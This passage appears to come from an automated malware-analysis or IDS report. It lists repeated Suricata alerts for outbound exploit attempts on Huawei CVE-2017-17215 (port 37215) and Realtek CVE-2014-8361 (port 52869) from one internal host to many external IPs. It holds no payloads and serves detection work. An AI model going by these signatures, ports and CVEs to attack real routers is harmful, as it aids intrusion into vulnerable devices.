Source Port:	54738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 9.190.28.75

Timestamp:	2024-07-20T23:01:19.580103+0200
SID:	2027339
Source Port:	41228
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.24.24.246

Timestamp:	2024-07-20T23:00:59.180699+0200
SID:	2835222
Source Port:	39010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.218.249.85

Timestamp:	2024-07-20T23:01:02.108705+0200
SID:	2835222
Source Port:	49084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 139.21.143.158

Timestamp:	2024-07-20T23:01:22.229921+0200
SID:	2027339
Source Port:	56436
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 166.7.60.196

Timestamp:	2024-07-20T23:01:21.146859+0200
SID:	2027339
Source Port:	56660
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 88.195.110.211

Timestamp:	2024-07-20T23:00:59.201622+0200
SID:	2835222
Source Port:	50036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.229.227.49

Timestamp:	2024-07-20T23:01:00.654988+0200
SID:	2835222
Source Port:	37138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.83.139.204

Timestamp:	2024-07-20T23:01:21.943543+0200
SID:	2835222
Source Port:	36698
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 38.158.187.83

Timestamp:	2024-07-20T23:01:21.256224+0200
SID:	2027339
Source Port:	44056
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.68.112.71

Timestamp:	2024-07-20T23:01:02.097709+0200
SID:	2835222
Source Port:	58124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.12.203.6

Timestamp:	2024-07-20T23:01:00.656262+0200
SID:	2835222
Source Port:	51062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.12.120.37

Timestamp:	2024-07-20T23:01:18.608485+0200
SID:	2835222
Source Port:	60150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 189.75.86.189

Timestamp:	2024-07-20T23:01:09.165064+0200
SID:	2027339
Source Port:	45798
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.37.15.231

Timestamp:	2024-07-20T23:01:00.648489+0200
SID:	2835222
Source Port:	41366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.95.169.228

Timestamp:	2024-07-20T23:01:21.275869+0200
SID:	2835222
Source Port:	41340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.241.106.75

Timestamp:	2024-07-20T23:01:19.857203+0200
SID:	2027339
Source Port:	33600
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 161.20.12.87

Timestamp:	2024-07-20T23:01:20.295477+0200
SID:	2027339
Source Port:	36392
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.224.244.226

Timestamp:	2024-07-20T23:00:59.219743+0200
SID:	2835222
Source Port:	39268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 27.41.96.136

Timestamp:	2024-07-20T23:01:18.596514+0200
SID:	2835222
Source Port:	50028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 216.151.5.50

Timestamp:	2024-07-20T23:01:21.231934+0200
SID:	2027339
Source Port:	38630
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.215.252.1

Timestamp:	2024-07-20T23:01:18.322750+0200
SID:	2835222
Source Port:	43176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.223.182.162

Timestamp:	2024-07-20T23:01:09.055028+0200
SID:	2027339
Source Port:	54640
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.10.69.196

Timestamp:	2024-07-20T23:01:18.596514+0200
SID:	2835222
Source Port:	58602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 49.39.36.55

Timestamp:	2024-07-20T23:01:21.044874+0200
SID:	2027339
Source Port:	40138
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.74.184.130

Timestamp:	2024-07-20T23:01:00.658630+0200
SID:	2835222
Source Port:	49618
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 186.94.179.5

Timestamp:	2024-07-20T23:01:21.018478+0200
SID:	2027339
Source Port:	52026
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.20.53.198

Timestamp:	2024-07-20T23:00:59.238159+0200
SID:	2835222
Source Port:	38176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 140.34.44.126

Timestamp:	2024-07-20T23:01:00.657714+0200
SID:	2835222
Source Port:	59906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.76.26.43

Timestamp:	2024-07-20T23:01:18.377460+0200
SID:	2835222
Source Port:	37826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 23.247.196.153

Timestamp:	2024-07-20T23:01:20.180872+0200
SID:	2835222
Source Port:	59710
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 111.252.253.89

Timestamp:	2024-07-20T23:01:21.518128+0200
SID:	2027339
Source Port:	55040
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.51.198.43

Timestamp:	2024-07-20T23:00:59.203029+0200
SID:	2835222
Source Port:	50406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.92.179.211

Timestamp:	2024-07-20T23:01:21.264733+0200
SID:	2027339
Source Port:	60300
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 190.124.94.237

Timestamp:	2024-07-20T23:01:19.554405+0200
SID:	2027339
Source Port:	44736
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.244.169.9

Timestamp:	2024-07-20T23:01:00.649623+0200
SID:	2835222
Source Port:	45164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 143.179.199.146

Timestamp:	2024-07-20T23:01:18.248248+0200
SID:	2835222
Source Port:	44014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.124.14.171

Timestamp:	2024-07-20T23:00:59.171002+0200
SID:	2835222
Source Port:	49226
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.13.46.200

Timestamp:	2024-07-20T23:01:00.657714+0200
SID:	2835222
Source Port:	51926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 62.90.39.173

Timestamp:	2024-07-20T23:01:21.273032+0200
SID:	2027339
Source Port:	56040
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.43.107.32

Timestamp:	2024-07-20T23:00:59.170218+0200
SID:	2835222
Source Port:	57256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.207.43.131

Timestamp:	2024-07-20T23:01:00.661486+0200
SID:	2835222
Source Port:	38614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.176.101.215

Timestamp:	2024-07-20T23:00:59.175742+0200
SID:	2835222
Source Port:	52752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.222.120.169

Timestamp:	2024-07-20T23:00:59.236479+0200
SID:	2835222
Source Port:	46326
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 25.0.169.170

Timestamp:	2024-07-20T23:01:21.008960+0200
SID:	2027339
Source Port:	54890
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.44.1.200

Timestamp:	2024-07-20T23:01:02.095698+0200
SID:	2835222
Source Port:	60312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.10.234.194

Timestamp:	2024-07-20T23:01:21.233814+0200
SID:	2835222
Source Port:	56890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.136.199.110

Timestamp:	2024-07-20T23:01:02.065712+0200
SID:	2835222
Source Port:	49936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.16.71.7

Timestamp:	2024-07-20T23:00:59.223718+0200
SID:	2835222
Source Port:	43956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.96.43.132

Timestamp:	2024-07-20T23:01:02.108705+0200
SID:	2835222
Source Port:	37118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 184.112.202.180

Timestamp:	2024-07-20T23:01:19.842102+0200
SID:	2027339
Source Port:	57978
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 47.237.197.200

Timestamp:	2024-07-20T23:01:22.845427+0200
SID:	2027339
Source Port:	42530
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 139.165.159.227

Timestamp:	2024-07-20T23:00:59.208769+0200
SID:	2835222
Source Port:	42824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 36.193.87.124

Timestamp:	2024-07-20T23:01:19.811438+0200
SID:	2027339
Source Port:	44282
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.86.250.128

Timestamp:	2024-07-20T23:00:59.171003+0200
SID:	2835222
Source Port:	34534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.214.148.214

Timestamp:	2024-07-20T23:01:18.436844+0200
SID:	2835222
Source Port:	47684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.5.25.5

Timestamp:	2024-07-20T23:01:18.570296+0200
SID:	2835222
Source Port:	34142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.252.90.201

Timestamp:	2024-07-20T23:00:59.180699+0200
SID:	2835222
Source Port:	43154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 139.13.89.177

Timestamp:	2024-07-20T23:01:21.670288+0200
SID:	2835222
Source Port:	44792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 115.225.187.157

Timestamp:	2024-07-20T23:01:22.188401+0200
SID:	2027339
Source Port:	47786
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.113.160.230

Timestamp:	2024-07-20T23:00:59.180699+0200
SID:	2835222
Source Port:	52552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.185.218.214

Timestamp:	2024-07-20T23:01:24.431186+0200
SID:	2835222
Source Port:	57400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.78.37.100

Timestamp:	2024-07-20T23:01:00.651026+0200
SID:	2835222
Source Port:	34184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 161.203.121.55

Timestamp:	2024-07-20T23:01:20.182814+0200
SID:	2027339
Source Port:	50626
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 221.226.241.204

Timestamp:	2024-07-20T23:01:21.243581+0200
SID:	2027339
Source Port:	44870
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 44.188.193.15

Timestamp:	2024-07-20T23:01:09.021221+0200
SID:	2027339
Source Port:	49184
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.233.17.165

Timestamp:	2024-07-20T23:01:20.137445+0200
SID:	2835222
Source Port:	57738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.129.226.209

Timestamp:	2024-07-20T23:01:21.294700+0200
SID:	2835222
Source Port:	57930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 69.74.218.35

Timestamp:	2024-07-20T23:01:18.508899+0200
SID:	2835222
Source Port:	36788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 13.18.63.141

Timestamp:	2024-07-20T23:01:19.578437+0200
SID:	2027339
Source Port:	46728
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 8.98.158.174

Timestamp:	2024-07-20T23:01:20.819226+0200
SID:	2027339
Source Port:	33560
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 135.9.168.169

Timestamp:	2024-07-20T23:01:19.798173+0200
SID:	2027339
Source Port:	57210
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 187.26.13.206

Timestamp:	2024-07-20T23:01:20.860262+0200
SID:	2027339
Source Port:	53182
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.224.40.86

Timestamp:	2024-07-20T23:01:21.565676+0200
SID:	2027339
Source Port:	41022
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 72.48.156.196

Timestamp:	2024-07-20T23:00:59.181164+0200
SID:	2835222
Source Port:	35840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 173.155.49.17

Timestamp:	2024-07-20T23:01:18.245434+0200
SID:	2835222
Source Port:	42510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.166.159.225

Timestamp:	2024-07-20T23:01:00.523287+0200
SID:	2835222
Source Port:	41550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.231.235.189

Timestamp:	2024-07-20T23:00:59.219743+0200
SID:	2835222
Source Port:	48984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.103.96.49

Timestamp:	2024-07-20T23:01:21.035713+0200
SID:	2027339
Source Port:	36278
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 161.98.32.121

Timestamp:	2024-07-20T23:01:19.552023+0200
SID:	2027339
Source Port:	42150
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 199.214.91.137

Timestamp:	2024-07-20T23:01:08.864629+0200
SID:	2027339
Source Port:	40650
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 109.80.210.12

Timestamp:	2024-07-20T23:01:19.506605+0200
SID:	2027339
Source Port:	45268
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.112.123.1

Timestamp:	2024-07-20T23:01:00.658201+0200
SID:	2835222
Source Port:	42260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.21.129.208

Timestamp:	2024-07-20T23:00:59.181164+0200
SID:	2835222
Source Port:	48142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.132.20.65

Timestamp:	2024-07-20T23:00:59.201033+0200
SID:	2835222
Source Port:	33894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.232.172.92

Timestamp:	2024-07-20T23:00:59.170219+0200
SID:	2835222
Source Port:	33262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.25.193.130

Timestamp:	2024-07-20T23:01:18.600721+0200
SID:	2835222
Source Port:	55928
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.21.67.49

Timestamp:	2024-07-20T23:01:18.490939+0200
SID:	2835222
Source Port:	36512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 78.39.181.117

Timestamp:	2024-07-20T23:01:21.283272+0200
SID:	2027339
Source Port:	49550
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 154.97.74.140

Timestamp:	2024-07-20T23:01:21.842450+0200
SID:	2027339
Source Port:	49320
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 169.193.81.146

Timestamp:	2024-07-20T23:01:20.821142+0200
SID:	2027339
Source Port:	57764
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.249.16.252

Timestamp:	2024-07-20T23:01:00.660317+0200
SID:	2835222
Source Port:	46822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 76.17.111.28

Timestamp:	2024-07-20T23:01:02.066021+0200
SID:	2835222
Source Port:	35414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 221.200.167.164

Timestamp:	2024-07-20T23:01:18.288852+0200
SID:	2835222
Source Port:	34064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 105.15.118.157

Timestamp:	2024-07-20T23:01:00.662825+0200
SID:	2835222
Source Port:	35058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.152.150.214

Timestamp:	2024-07-20T23:01:20.997029+0200
SID:	2027339
Source Port:	40778
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.144.198.102

Timestamp:	2024-07-20T23:01:00.657714+0200
SID:	2835222
Source Port:	56940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 65.114.239.111

Timestamp:	2024-07-20T23:01:21.515296+0200
SID:	2027339
Source Port:	34136
Destination Port:	52869
